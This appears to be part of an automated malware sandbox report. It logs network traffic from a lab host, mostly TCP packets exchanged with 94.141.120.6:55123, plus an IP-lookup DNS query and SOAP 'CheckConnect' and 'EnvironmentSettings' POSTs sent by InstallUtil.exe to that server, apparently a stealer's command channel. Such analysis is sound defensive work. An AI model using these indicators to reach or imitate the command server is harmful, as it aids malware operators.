Nov 1, 2024 08:37:23.995601892 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995616913 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995625973 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995661974 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995671034 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995712042 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.995716095 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995735884 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995753050 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995763063 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995773077 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995785952 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.995798111 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995803118 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.995810032 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995827913 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.995841026 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995851040 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995858908 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995866060 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.995882988 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.995912075 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.995912075 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995927095 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995939970 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995949030 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995965004 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995968103 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.995974064 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.995984077 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.996023893 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.996026993 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996037960 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996087074 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.996098042 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996108055 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996117115 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996125937 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996159077 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996159077 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.996169090 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996179104 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996196985 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996201992 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.996231079 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996232033 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.996241093 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996248960 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.996278048 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.996300936 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.996376038 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996386051 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996393919 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996402979 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996412039 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996422052 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996429920 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.996431112 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996439934 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996454000 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.996479034 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.996495962 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.996505022 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996516943 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996525049 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996534109 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996567965 CET	49754	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:23.996570110 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996581078 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996602058 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996648073 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996709108 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996717930 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996727943 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996786118 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996794939 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996803045 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996820927 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996829987 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996905088 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996913910 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996948957 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996958017 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.996998072 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997005939 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997055054 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997066021 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997150898 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997160912 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997169018 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997178078 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997188091 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997195959 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997251987 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997320890 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997330904 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997338057 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997349024 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997400045 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997410059 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997416973 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997452974 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997462988 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997504950 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997514963 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997533083 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997543097 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997581959 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997643948 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997684956 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997694016 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997776031 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997785091 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997793913 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997802973 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997813940 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997823000 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997831106 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997840881 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997864962 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997874975 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997881889 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997890949 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997960091 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997968912 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997977972 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.997987032 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998018026 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998027086 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998034954 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998044968 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998053074 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998086929 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998095989 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998106003 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998178005 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998187065 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998253107 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998262882 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998270988 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998281956 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998300076 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998308897 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998356104 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998364925 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998403072 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998411894 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998456001 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998465061 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998473883 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998508930 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998517990 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998563051 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998572111 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998579979 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998641968 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998656988 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998665094 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998677015 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998693943 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998725891 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998759985 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998769045 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:23.998785973 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000324011 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000334978 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000343084 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000351906 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000360966 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000370026 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000380039 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000389099 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000399113 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000407934 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000416994 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000426054 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000433922 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000443935 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000452042 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000461102 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000466108 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000469923 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000473022 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000477076 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000480890 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000483990 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000487089 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000490904 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000497103 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000509977 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000531912 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000549078 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000632048 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000720024 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000729084 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000770092 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000780106 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000821114 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000829935 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000861883 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000870943 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000879049 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000911951 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000953913 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.000962973 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001033068 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001043081 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001506090 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001514912 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001554966 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001611948 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001646042 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001656055 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001666069 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001728058 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001737118 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001773119 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001782894 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001792908 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001847982 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001857042 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001898050 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001907110 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001949072 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001957893 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001972914 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.001981974 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002072096 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002080917 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002098083 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002105951 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002162933 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002171993 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002207994 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002217054 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002264977 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002274036 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002315998 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002325058 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002370119 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002378941 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002437115 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002445936 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002454996 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002465963 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002526999 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002536058 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002573013 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002583027 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002614021 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002624035 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002638102 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002646923 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002692938 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002701998 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002743959 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002753019 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002763033 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002811909 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002820969 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002867937 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002876997 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002885103 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002938986 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.002948999 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003046989 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003056049 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003065109 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003073931 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003091097 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003102064 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003189087 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003199100 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003206968 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003221989 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003231049 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003247023 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003254890 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003302097 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003319979 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003348112 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003356934 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003395081 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003432989 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003487110 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003496885 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003504038 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003515005 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003546000 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003554106 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003563881 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003616095 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003624916 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:24.003633976 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:33.992919922 CET	55123	49754	94.141.120.6	192.168.2.5
Nov 1, 2024 08:37:34.012659073 CET	49712	55123	192.168.2.5	94.141.120.6
Nov 1, 2024 08:37:34.013456106 CET	49754	55123	192.168.2.5	94.141.120.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 08:37:07.806652069 CET	63525	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 1, 2024 08:37:07.806652069 CET	192.168.2.5	1.1.1.1	0x5fd4	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 1, 2024 08:37:07.813796997 CET	1.1.1.1	192.168.2.5	0x5fd4	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

94.141.120.6:55123

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	94.141.120.6	55123	5652	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 08:37:00.716768026 CET	239	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 94.141.120.6:55123 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Nov 1, 2024 08:37:02.174566984 CET	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 01 Nov 2024 15:37:01 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Nov 1, 2024 08:37:07.270844936 CET	222	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 94.141.120.6:55123 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
